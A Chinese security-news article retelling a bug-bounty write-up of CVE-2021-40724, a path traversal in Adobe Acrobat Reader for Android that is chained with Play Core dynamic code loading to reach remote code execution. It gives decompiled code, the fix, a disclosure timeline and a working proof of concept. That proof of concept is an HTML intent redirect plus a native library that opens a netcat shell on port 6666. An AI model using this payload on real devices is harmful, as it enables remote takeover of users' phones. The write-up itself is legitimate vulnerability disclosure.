<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    $10,000獎勵:安卓平臺Adobe Acrobat Reader RCE漏洞

    VSole2022-02-14 09:05:20

    背景介紹:

    今天的故事來自一位ID名為SUNNY的白帽子,他在測試 Adobe Acrobat Reader APP時,發現該應用程序允許用戶直接從 http/https URL打開 pdf 的功能,此功能會受到路徑遍歷漏洞影響。Abode Reader 還使用 了Google Play 核心庫進行動態代碼加載,使用路徑遍歷錯誤和動態代碼加載,從而實現遠程代碼執行(RCE),該漏洞的CVE編號為CVE-2021-40724。

    尋找路徑遍歷漏洞:

    <activity android:theme="@style/Theme_Virgo_SplashScreen" android:name="com.adobe.reader.AdobeReader" android:exported="true" android:launchMode="singleTask" android:screenOrientation="user" android:configChanges="keyboardHidden|screenLayout|screenSize|smallestScreenSize" android:noHistory="false" android:resizeableActivity="true">            <intent-filter>                <action android:name="android.intent.action.VIEW"/>                <action android:name="android.intent.action.EDIT"/>                <category android:name="android.intent.category.DEFAULT"/>                <category android:name="android.intent.category.BROWSABLE"/>                <data android:scheme="file"/>                <data android:scheme="content"/>                <data android:scheme="http"/>                <data android:scheme="https"/>                <data android:mimeType="application/pdf"/>            </intent-filter>
    

    應用程序有一處intent-filter,表明可以接受 http/https URL,并且mime Type必須為application/pdf。

    例如,當帶有數據的URL(http://localhost/test.pdf)傳送給Adobe Reader時,APP會將文件下載到/sdcard/Downloads/Adobe Acrobat文件夾中,文件名為所發送URL的LastPathSegment(如例子中會是test.pdf)

    然后Activitycom.adobe.reader.AdobeReader接收到 Intent 并啟動

    ARFileURLDownloadActivityActivity。

    public void handleIntent() {            Intent intent2 = new Intent(this, ARFileURLDownloadActivity.class);            intent2.putExtra(ARFileTransferActivity.FILE_PATH_KEY, intent.getData());            intent2.putExtra(ARFileTransferActivity.FILE_MIME_TYPE, intent.getType());            startActivity(intent2);    }
    

    此時ARFileURLDownloadActivity會啟動com.adobe.reader.misc.ARFileURLDownloadService服務。

    public void onMAMCreate(Bundle bundle) {        super.onMAMCreate(bundle);        this.mServiceIntent = new Intent(this, ARFileURLDownloadService.class);        Bundle bundle2 = new Bundle();        //...//        this.mServiceIntent.putExtras(bundle2);        startService();    }
    

    com.adobe.reader.misc.ARFileURLDownloadService.java代碼:

    public int onMAMStartCommand(Intent intent, int i, int i2) {         Bundle extras = intent.getExtras();        //..//        String string = extras.getString(ARFileTransferActivity.FILE_MIME_TYPE, null);        ARURLFileDownloadAsyncTask aRURLFileDownloadAsyncTask = new ARURLFileDownloadAsyncTask(ARApp.getInstance(), (Uri) extras.getParcelable(ARFileTransferActivity.FILE_PATH_KEY), (String) extras.getCharSequence(ARFileTransferActivity.FILE_ID_KEY), true, string);        this.mURLFileDownloadAsyncTask = aRURLFileDownloadAsyncTask;        aRURLFileDownloadAsyncTask.taskExecute(new Void[0]);        return 2;    }
    

    com.adobe.reader.misc.ARURLFileDownloadAsyncTask.java代碼:

     private void downloadFile() throws IOException, SVFileDownloadException {        Exception exc;        boolean z;        Throwable th;        boolean z2;        Uri fileURI = this.mDownloadModel.getFileURI();        URL url = new URL(fileURI.toString());        try {            String downloadFile = new ARFileFromURLDownloader(new ARFileFromURLDownloader.DownloadUrlListener() {               ARFileFromURLDownloader.DownloadUrlListener                public void onProgressUpdate(int i, int i2) {                    ARURLFileDownloadAsyncTask.this.broadcastUpdate(0, i, i2);                }
                    @Override // com.adobe.reader.misc.ARFileFromURLDownloader.DownloadUrlListener                public boolean shouldCancelDownload() {                    return ARURLFileDownloadAsyncTask.this.isCancelled();                }            }).downloadFile(BBIntentUtils.getModifiedFileNameWithExtensionUsingIntentData(fileURI.getLastPathSegment(), this.mDownloadModel.getMimeType(), null, fileURI), url);            //...//
    

    方法BBIntentUtils.getModifiedFileNameWithExtensionUsingIntentData接受this.mUri.getLastPathSegment()作為參數,并返回URL路徑中解碼后的最后一個片段。

    例如,以URL:https://localhost/x/..%2F..%2Ffile.pdf為例,當這個URL傳遞給getLastPathSegment()方法時,它將接受..%2F..%2Ffile.pdf作為URL的最后一段,并返回../../file.pdf作為輸出。

    在將downloadFile變量傳遞到File實例之前,沒有對其進行任何清理,于是便會導致路徑遍歷漏洞。

    獲得RCE:

    Adobe Acrobat Reader APP使用Google Play核心庫為用戶提供移動附加功能,要知道應用程序是否正在使用Play Core庫進行動態代碼加載,一種簡單的方法是檢查/data/data/:application_id/files/目錄中的spiltcompat目錄。

    使用路徑遍歷漏洞,白帽小哥可以在APP的

    /data/data/com.adobe.reader/files/splitcompat/1921618197/verified-splits/目錄中編寫任意APK,攻擊者的APK中的類將自動添加到APP的ClassLoader中,并在APP調用時執行惡意代碼,更詳細的解釋,可移步:

    https://blog.oversecured.com/Why-dynamic-code-loading-could-be-dangerous-for-your-apps-a-Google-example/

    Adobe Reader APP還會在運行期間下載一個名為FASOpenCVDF.apk的模塊,白帽小哥原本的計劃是覆蓋該文件并遠程訪問代碼執行,但是無法成功實現,問題在于路徑遍歷漏洞無法覆蓋現有文件…只能創建新文件。

    在這個階段白帽小哥被困繞了很久,他一直在尋找一種方法在無需安裝額外APK的前提下來遠程代碼執行,在白帽小哥的設備上安裝的Play Core庫分析了其他應用程序后,他看到Play Core庫也提供了從/data/data/com.adobe.reader/files/splitcompat/:id/native-libraries/目錄加載本地代碼(.so文件)的功能。

    FASOpenCVDF.apk模塊會從

    /data/data/com.adobe.reader/files/splitcompat/1921819312/native-libraries/FASOpenCVDF.config.arm64_v8a目錄加載了一個本地庫,于是白帽小哥決定查看FASOpenCVDF.apk源代碼,在那里他發現這個模塊還試圖加載三個不可用的庫libADCComponent.so、libColoradoMobile.so和libopencv_info.so,于是成功解決了遠程代碼執行的問題。

    白帽小哥創建了一個簡單的本地PoC庫,將其重命名為libopencvinfo.so,并將其放入

    /data/data/com.adobe.reader/files/splitcompat/1921819312/native-libraries/FASOpenCVDF.config.arm64_v8a目錄中,在下一次APP啟動時,只要使用填充和簽名功能,就能成功執行惡意代碼了。

    POC代碼:

    <html><title> RCE in Adobe Acrobat Reader for android </title><body>    <script>        window.location.href="intent://34.127.85.178/x/x/x/x/x/..%2F..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.adobe.reader%2Ffiles%2Fsplitcompat%2F1921819312%2Fnative-libraries%2FFASOpenCVDF.config.arm64_v8a%2Flibopencv_info.so#Intent;scheme=http;type=application/*;package=com.adobe.reader;component=com.adobe.reader/.AdobeReader;end";</script>    </body></html>
    #include <jni.h>#include <stdio.h>#include <stdlib.h>#include <unistd.h>
    JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void* reserved) {
        if (fork() == 0) {        system("toybox nc -p 6666 -L /system/bin/sh -l");    }    JNIEnv* env;    if (vm->GetEnv(reinterpret_cast<void**>(&env), JNI_VERSION_1_6) != JNI_OK) {        return JNI_ERR;    }    return JNI_VERSION_1_6;}
    

    漏洞修復:

    com.adobe.libs.buildingblocks.utils.BBIntentUtils.java代碼:

    private static final String FILE_NAME_RESERVED_CHARACTER = "[*/\\|?<>\"]";public static String getModifiedFileNameWithExtensionUsingIntentData(String str, String str2, ContentResolver contentResolver, Uri uri) {        if (TextUtils.isEmpty(str)) {            str = BBConstants.DOWNLOAD_FILE_NAME;        }        String str3 = null;        if (!(contentResolver == null || uri == null)) {            str3 = MAMContentResolverManagement.getType(contentResolver, uri);        }        String str4 = !TextUtils.isEmpty(str3) ? str3 : str2;        if (!TextUtils.isEmpty(str4)) {            String fileExtensionFromMimeType = BBFileUtils.getFileExtensionFromMimeType(str4);            if (!TextUtils.isEmpty(fileExtensionFromMimeType)) {                if (str.lastIndexOf(46) == -1) {                    str = str + '.' + fileExtensionFromMimeType;                } else {                    String mimeTypeForFile = BBFileUtils.getMimeTypeForFile(str);                    if (TextUtils.isEmpty(mimeTypeForFile) || (!TextUtils.equals(mimeTypeForFile, str3) && !TextUtils.equals(mimeTypeForFile, str2))) {                        str = str + '.' + fileExtensionFromMimeType;                    }                }            }        }        return str.replaceAll(FILE_NAME_RESERVED_CHARACTER, "_");    }
    

    漏洞處理時間線:

    • Jul 29th,2021 - 向Adobe報告漏洞
    • Aug 4th ,2021 - 報告跟蹤
    • Oct 13th,2021 - 漏洞修復
    • Dec 4th ,2021 - 獲得來自GPSRP $10,000 獎勵
    urlstring
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    JSubFinder是一款基于Golang開發的敏感信息搜索工具,根據給定的URL地址,廣大研究人員可以輕松使用JSubFinder來尋找目標網站頁面&JavaScript中隱藏的子域名和敏感信息。該工具利用了Go的高性能特性,并支持處理大量數據,而且可以輕松與其他工具連接成工作流。
    JNDI漏洞利用探索
    2022-01-23 19:33:23
    最近學習了淺藍師傅尋找的一些JNDI漏洞的利用鏈受益匪淺,自己也嘗試關于JNDI漏洞利用做一些挖掘,目前JN
    About dismapDismap 定位是一個適用于內外網的資產發現和識別工具;其特色功能在于快速識別 Web 指紋信息,定位資產類型。輔助紅隊快速定位目標資產信息,輔助藍隊發現疑似脆弱點。Dismap 擁有完善的指紋規則庫,可輕松自定義新識別規則。
    引言C3P0反序列化利用鏈是Java反序列化漏洞中比較經典的一條RCE利用鏈。最近看到有大佬對C3P0利用鏈不出網做了一些研究,在此基礎上,自己也系統地梳理一下各種姿勢的C3P0利用鏈,包括:Java原生態反序列化利用鏈-遠程加載惡意類Java原生態反序列化利用鏈改進-無需出網Json反序列化利用鏈-遠程加載惡意類Json反序列化利用鏈-無需出網這里將4個利用鏈的原理分析與具體實現分享給大家。
    這是一款音樂節奏型的遊戲,遊戲玩法爲本地和聯網混合。IPA 提取拆包預備條件:已越獄的 iOS 設備。我們可以試試更加有效的更改殘片值的方法。我們現在就來讓修改程序直接繞過校驗。根本不需要去研究那些哈希值是怎麼計算出來的。HTTPS API 抓包接下來我們做點稍有難度的,抓取 HTTPS API 數據包。首先我們需要給 iOS 設備配置中間人代理,並且能替換 HTTPS 證書解密加密流量內容。這需要一個中間人代理軟件,最好還能記錄數據包。
    網址縮短器允許用戶將200個字符的URL轉換成實質上更少的內容。在這篇文章中,研究人員分享了其濫用URL縮短器的經驗,并涵蓋2種不同實現的3種不同攻擊場景。這似乎在整個企業內部使用,因為大多數收集的URL會重定向到登錄頁面。但是,通過訪問一個無效的URL,應用程序將進入損壞的404頁面。檢查源代碼發現其暴露了多個端點,這些端點允許經過身份驗證的用戶,添加/編輯/刪除 URL以及查看統計信息。
    java安全-02RMI
    2022-03-25 15:35:13
    基礎知識動態代理反射攻擊方式注冊端攻擊服務端java -cp .\ysoserial-master-8eb5
    crawlergo是一個使用chrome headless模式進行URL收集的瀏覽器爬蟲。它對整個網頁的關鍵位置與DOM渲染階段進行HOOK,自動進行表單填充并提交,配合智能的JS事件觸發,盡可能的收集網站暴露出的入口。內置URL去重模塊,過濾掉了大量偽靜態URL,對于大型網站仍保持較快的解析與抓取速度,最后得到高質量的請求結果集合。調研1.
    ldap連接地址為:ldap://192.168.11.16 用戶為hack 密碼為test123.. 在域外我們需要指定ip地址,在域內我們只需要指定域名也行,例如測試環境的redteam,也就是ldap://redteam,這里就說明我們寫代碼的時候就需要考慮是在域內還是在域外。 在c#進行ldap連接的時候需要引入DirectoryServices.dll,這個是系統自帶的,自行尋找。
    意料之中一大堆參數,反復幾次總結需分析的參數應該為以下幾個:X-Sign、wToken、X-Ca-Signature、X-Access-Token、X-Ca-Timestamp. 跟進得:public static Map z { String str; String a2 = wo3.a; HashMap hashMap = new HashMap(); hashMap.put; hashMap.put; hashMap.put; if (!TextUtils.isEmpty) { hashMap.put; no3.a; } hashMap.put("Authorization", StringUtils.isEmpty(it3.g()) ?= '\t') || charAt >= 127) { str2.replace; } } hashMap.put; hashMap.put("X-ConnectionType", y
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类